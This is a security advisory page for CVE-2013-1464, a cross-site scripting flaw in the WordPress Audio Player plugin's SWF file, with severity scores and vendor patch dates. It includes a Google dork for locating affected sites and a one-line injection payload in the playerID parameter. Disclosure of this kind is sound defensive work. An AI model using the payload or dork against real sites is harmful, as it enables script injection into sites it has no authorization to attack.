WordPress Audio Player SWF Cross Site Scripting

2013.02.08
Credit: hip
Risk: Low
Local: No
Remote: Yes
CVE: CVE-2013-1464
CWE: CWE-79
Dork: inurl:/wp-content/plugins/audio-player/


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: Wordpress Audio Player Plugin XSS in SWF # Release Date: 31/01/13 # Author: hip [Insight-Labs] # Contact: hip@insight-labs.org | Website: http://insight-labs.org # Software Link: http://downloads.wordpress.org/plugin/audio-player.2.0.4.6.zip # Vendor Homepage: http://wpaudioplayer.com/ # Tested on: XPsp3 # Affected version: 2.0.4.6 before # Google Dork: inurl:/wp-content/plugins/audio-player/ #Ref:CVE-2013-1464 ----------------------------------------------------------------------------------------------------------------------- # Introduction: Audio Player is a highly configurable but simple mp3 player for all your audio needs. ------------------------------------------------------------------------------------------------------------------------- # XSS - Proof Of Concept: vulnerable path: /wp-content/plugins/audio-player/assets/player.swf vulnerabile parameter:playerID POC: /wp-content/plugins/audio-player/assets/player.swf?playerID=a\"))}catch(e){alert(1)}// ------------------------------------------------------------------------------------------------------------------------- ------------ Patch: ------------ -- Vendor was notified on the 23/01/2013 -- Vendor released version 2.0.4.6 on 30/01/2013 Fixed the bug -------------------------------------------------------------------------------------------------------------------------

References:

http://wpaudioplayer.com/


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top